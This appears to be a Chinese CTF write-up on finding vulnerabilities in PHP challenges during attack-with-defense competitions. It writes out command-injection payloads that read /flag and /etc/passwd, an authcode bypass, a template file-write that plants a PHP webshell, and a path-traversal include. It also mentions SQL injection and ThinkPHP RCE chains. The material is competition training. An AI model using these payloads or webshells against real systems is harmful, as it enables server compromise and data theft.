Background
想着awd模式关于挖洞的起手还是有一些可以探究的地方,于是写下这篇文章,本文只针对于php的题目
非MVC框架类
因为MVC框架类像是Tp什么的在实际awd场景下和MVC框架的还是相差比较多的,所以我在这里就将他们分开来说
非MVC可以直接D盾扫下后门高危函数然后继续跟
比如你可以在index.php直接找到个后门
直接?func=system&args=cat /flag即可
并且很容易找到这种sql注入 修复的话就直接ban掉你能想到的所有函数和单引号双引号这种(但基本现场没等修好不死马也就来了,这就是awd模式现在越来越少的主要原因)
sql注入基本都是为了登录后台,然后后台上传getshell这种,在比赛场上这种洞可以用 但是影响太小了(除非注入的权限很大可以直接写马),因为拿到flag主要的洞还是找可以rce的点 或者是文件读取 着重关注重装漏洞 对锁的判定,出题人可能玩些有趣
的 任意删除漏洞删除lock,然后重装数据库未过滤写shell
$file=isset($_GET['file'])?$_GET['file']:"elitecms.sql";
也会出现这种比较弱智的任意文件读取
这也有一个可以直接写进去的点 数据库名字没被过滤
有时候漏洞必须要有一些权限的限制
(这套系统其实是基于MVC的 但其实很简单 这里就放在里面随便说说了)
比如这里 test_network函数可以直接拼接执行命令的语句
但是他进行了鉴权
这个点蛮有意思 我详细说一下
$this->role = $is_admin==1;
用这个判断管理员的权限,然后继续跟进check_authcode函数
function check_authcode($authcode){
global $config;
if($authcode==md5($config['authcode']))
return true;
return false;
}
所以我们要跟的就是这个$authcode了 跟进$config来看看
然后跟进本地的config.php
),
'authcode' => '4641',
);
直接找到了authcode 跟着要求直接传值调用函数即可
payload:
api/admin/test_network?code=5ffaa9f5182c2a36843f438bb1fdbdea&ip=%0acat%20/etc/passwd
但其实我们现在已经可以绕过登录admin了
admin下面的操作我们都可以做了
跟进一个edit_view函数
function edit_view(){
$view_file = ['index.html','login.html','register.html','reset.html'];
if(in_array($_POST['file'],$view_file)){
if(file_put_contents(VIEW_PATH.$_POST['file'],$_POST['content'])){
return json_encode(['status'=>1,'data'=>'更新成功']);
}
} else{
return json_encode(['status'=>0,'data'=>'更新失败']);
}
}
可以往$view_file里面任意一个文件 写shell就完事了
http://127.0.0.1:8080/api/admin/edit_view?code=5ffaa9f5182c2a36843f438bb1fdbdea
payload:
file=register.html&content=<?=system("cat /etc/passwd");?>
这个系统最好玩的漏洞是
在这里可以看到他包含进class类下的一个文件,直接路径拼接
但其实注册的功能点在data目录下 并且会把序列化数据写入user的文件夹,注册里写入shell就可以了
然后这样包含
?app=../data/user/&m=用户名
即可
MVC框架类
在比赛中现在越来越多的MVC框架的,像是基于thinkphp laravel这种开发的
首先就是tp rce这种原本就有的漏洞 多存几个链子
现场给phar位点,配合链子getshell
着重看控制器,审计控制器,了解我刚才提到的解析url的方法
后台直接看自己有没有sql文件 但一般来说弱口令比较多,赶快改自己的
然后后台模板getshell
即使是mvc框架
也会有这种num可以直接注入的地方
堆叠修改密码即可
总结
只要了解基本的解析模式,是否mvc其实并不重要,还是自己要在打的时候多关注一下这些点
直接?func=system&args=cat /flag即可
不是应该?func=system&arg=cat /flag?